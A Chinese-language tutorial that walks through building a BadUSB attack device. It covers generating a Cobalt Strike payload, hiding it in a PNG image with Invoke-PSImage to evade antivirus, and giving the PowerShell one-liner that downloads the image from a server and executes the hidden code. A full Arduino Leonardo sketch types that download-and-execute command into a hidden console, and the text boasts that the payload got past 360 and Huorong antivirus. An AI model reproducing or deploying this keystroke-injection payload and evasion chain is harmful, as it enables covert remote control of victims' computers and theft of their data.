Badusb介绍

背景

在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为BadUSB的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。

原理(HID攻击)

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

优势

  • BadUSB是利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能,以此来使目标主机执行已经精心构造好的命令。而且因为是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行。
  • 同样因为是对USB的利用,Windows、Linux、MAC等各类操作系统不必联网下载专用的驱动程序。此外,向BadUSB烧录的程序极为简单,大部分是对键盘按键进行模拟,上手较为容易。
  • BadUSB也是社会工程学的一个典型示例,它极大地利用了人们的好奇心,在路边捡到的USB,估计九成以上的人们都想看看里面有什么东西,而当你插入U盘,攻击就很难再停止下来了。

种类

能够制作BadUSB的几种常见载体有:leonardo_ArduinoPhisonTeensyAttiny85PS2303(芯片)Rubber_Ducky等,从外观形状和制作成功率来看,使用leonardo_Arduino制作BadUSB的效果最好,使用起来也较为方便。

image-20220224174207196
leonardo_Arduino

实现效果

Badusb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息反弹shell发送邮件等,从而实现控制目标机或者窃取信息的目的。

推荐一个仓库:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

这里有很多各种姿势的payload。(展示其中一部分)

image-20220224201950914

制作免杀图片马

免杀的姿势有很多,看到这个挺有意思的,这次演示就用这种方式吧。

工具介绍

用到的工具 Invoke-PSImage

以 PNG 文件的像素对 PowerShell 脚本进行编码并生成要执行的 oneliner

Invoke-PSImage 采用 PowerShell 脚本并将脚本的字节编码为 PNG 图像的像素。它生成一个单行器,用于从网络文件或文件执行。

它可以仅使用有效负载数据创建新图像,也可以将有效负载嵌入现有图像的最低有效字节中,使其看起来像实际图片。图像保存为 PNG,并且可以无损压缩而不会影响执行有效负载的能力,因为数据存储在颜色本身中。在创建新图像时,普通的 PowerShell 脚本实际上会被显着压缩,通常会生成一个文件大小约为原始脚本 50% 的 png。

使用嵌入方法,每个像素中 2 个颜色值的最低有效 4 位用于保存有效载荷。结果图像质量会受到影响,但看起来仍然不错。它可以接受大多数图像类型作为输入,但输出将始终是 PNG,因为它需要是无损的。图像的每个像素都用于保存一个字节的脚本,因此您需要一个像素至少与脚本中字节数一样多的图像。这相当容易——例如,Invoke-Mimikatz 适合 1920x1200 图像。

制作免杀马

使用CS生成payload

image-20220224193306172 image-20220224193340922

把生成的payload.ps1放到免杀工具文件夹。

生成免杀图片马

找一张图片,分别率最好在1920*1080及以上,方便能存下我们的payload。

在免杀工具所在文件夹,按住shift + 鼠标右键 选择 在此处打开powershell窗口

将准备好的图片也放到此文件夹,然后开始按照以下命令制作。

官方示例:

使用嵌入的脚本“Invoke-Mimikatz.ps1”创建一个图像并输出一个payload以从 Web 执行:

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebClient

… 提醒一句,制作之前先把杀毒软件关掉,要不然就会这样…

image-20220224192841067

根据自己的文件名修改后的命令为:

Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Out .\out.png -Image .\pic.png -WebClient

其中payload.ps1是刚才用CS生成的payload,out.png是生成的图片马,pic.png是实现准备好的图片。

执行命令后,会得到一段payload。

image-20220224194148932

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead('http://example.com/out.png'));$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534]))

这段payload在powershell运行,就会执行隐写到图片里的CS马的payload。

其中的http://example.com/out.png是需要我们换成自己的图片的链接。

比如把图片放到图床,或者自己服务器之类的,我这里是放到自己服务器了。

注意不要使用https访问,不然可能会导致powershell执行失败。

杀毒测试

image-20220224194345480

制作Badusb

购买Badusb

TB就有,注意有的上面带的有logo,尽量选择不带logo的吧,我买的时候价格是60-70。

下载Arduino IDE

Arduino介绍:Arduino是一款便捷灵活、方便上手的开源电子原型平台。 它构建于开放原始码simple I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。

image-20220224184539970

下载链接:https://www.arduino.cc/en/software

将Badusb连接到IDE

  1. 插入Badusb

  2. 打开Arduino IDE

  3. 选择 工具->开发板->Arduino Leonardo

  4. 选择 工具->端口->COM*(Arduino Leonardo)

    此时右下角就已经选中到了你选择的 COM*

image-20220224185024160 image-20220224185338780

烧录代码进Badusb

复制以下代码 (可以根据自己的需求修改,常用arduino函数和按键代码附在文章末尾)

其中 Keyboard.println(*******)里面的内容换成自己的payload,并且建议将整段payload进行大小写互换,以防止在Badusb运行期间因为大小写而导致运行失败。

大小写互换可以用 Notepad++ 来实现。

image-20220224195203422
#include<Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1"); //无回显
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("Powershell");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("SAL A nEW-oBJECT;aDD-tYPE -a sYSTEM.dRAWING;$G=A sYSTEM.dRAWING.bITMAP((A nET.wEBcLIENT).oPENrEAD('http://example.com/out.png'));$O=A bYTE[] 3840;(0..1)|%{FOREACH($X IN(0..1919)){$P=$G.gETpIXEL($X,$_);$O[$_*1920+$X]=([MATH]::fLOOR(($P.b-BAND15)*16)-BOR($P.g -BAND 15))}};iex([sYSTEM.tEXT.eNCODING]::ascii.gETsTRING($O[0..3534]))");
Keyboard.press(KEY_RETURN);
delay(10000);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(5000);
Keyboard.release(KEY_RETURN);
Keyboard.println("exit");
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('m');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('m');
Keyboard.end();//结束键盘通讯
}

void loop()//循环
{

}

将代码复制到IDE,然后点击来检查是否有语法错误。

image-20220224195430137

编译完成后,点击 旁边的 -> 来把代码烧录进Badusb。

image-20220224200228769

烧录结束后,会自动执行一下Badusb里的代码。

常用arduino代码和按键

delay(5000);//延时毫秒
Keyboard.begin(); //开始键盘通讯
Keyboard.end(); //结束键盘通讯
Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release(); //释放键盘按键
Keyboard.println(“”); //输入字符串使用双引号括起来
Mouse.begin();//鼠标事件开始
Mouse.click();//鼠标单击
Mouse.end();//鼠标事件结束
Mouse.move();//鼠标移动(x,y)
Mouse.press();//鼠标按下
Mouse.release();//鼠标松开
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI //win键
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN//回车键
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12

效果测试

在360和火绒都为最新病毒库下,仍免杀上线!

image-20220224200814925

image-20220224200919302

美中不足的是最后会留下一个小黑框,如图所示。

但可以通过执行一些键盘命令来最小化或者隐藏,现在的代码执行完毕后会执行Windows+M键来隐藏窗口。